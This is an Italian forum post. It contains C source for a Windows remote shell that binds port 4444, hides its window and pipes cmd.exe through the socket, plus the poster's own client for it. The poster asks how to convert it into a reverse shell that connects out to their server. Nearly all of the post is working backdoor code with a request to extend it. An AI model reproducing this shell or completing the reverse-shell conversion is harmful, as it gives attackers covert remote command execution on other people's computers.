ho trovato in internet questo esempio di shell remota...
codice:
#define WIN32_LEAN_AND_MEAN
#include "sock.h"
#include <stdio.h>
#include <windows.h>
#include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock
#pragma comment(lib,"Ws2_32.lib") //Winsocket lib
#define SHELL_NAME "cmd\0"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
SOCKET sock, sendrecv;
struct sockaddr_in sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
int len;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
//connessione modalità server...
p=MAKEWORD(2,0);
WSAStartup(p,&data);
sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0); //utilizzo la WSASocket() invece della socket()
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(4444); //Utilizzo la porta 4444
sock_addr.sin_addr.s_addr=INADDR_ANY;
bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
listen(sock,1);
int lun = sizeof (struct sockaddr);
sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset((void *) &si, 0, sizeof(si));
memset((void *) &pi, 0, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (void *)sendrecv; // posso assegnare lo standard input direttamente alla socket
si.hStdOutput = (void *)sendrecv; // devo utilizzare un cast in quanto la socket ?n intero,
si.hStdError = (void *)sendrecv; // mentre io ho bisogno di una variabile tipo Handle (puntatore a void)
CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
// closesocket(sendrecv);
// closesocket(sock);
// WSACleanup();
return 0;
}
e io ho costruito questo altro programmino per il suo utilizzo
codice:
#include "sock.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock
#pragma comment(lib,"Ws2_32.lib") //Winsocket lib
#define SHELL_NAME "cmd\0"
int main(){
SOCKET sock, sServerSock;
char pBuffer[2000];
int iBytes;
sServerSock = InitClientSocket("127.0.0.1", 4444);
if (sServerSock != 0){ //controllo connessione
printf("connessione avvenuta!\n");
} else return -1;
while(TRUE){
while(TRUE){
iBytes = recv(sServerSock,pBuffer,2000,0);
pBuffer[iBytes] = '\0';
printf("%s",pBuffer);
if(pBuffer[iBytes-1] == '>') break;
}
pBuffer[0] = '\0';
gets(pBuffer);
send(sServerSock, pBuffer,lstrlen(pBuffer),0);
pBuffer[0] = '\n';pBuffer[1] = '\0';
send(sServerSock, pBuffer,lstrlen(pBuffer),0);
}
system("pause");
return 0;
}
e fin qui tutto ok, funzionano a meraviglia...
però come esperimento volevo provare a invertire la modalità diconnessione...
ovvero trasformare la shell remota in un client e il mio programma in un server al quale la shell remota si connette...
ho quindi pensato di sostituire le prime parti del programma in cui avvengono le connessioni, ma così non funziona... qualcuno sa dirmi come fare???
grazie ciao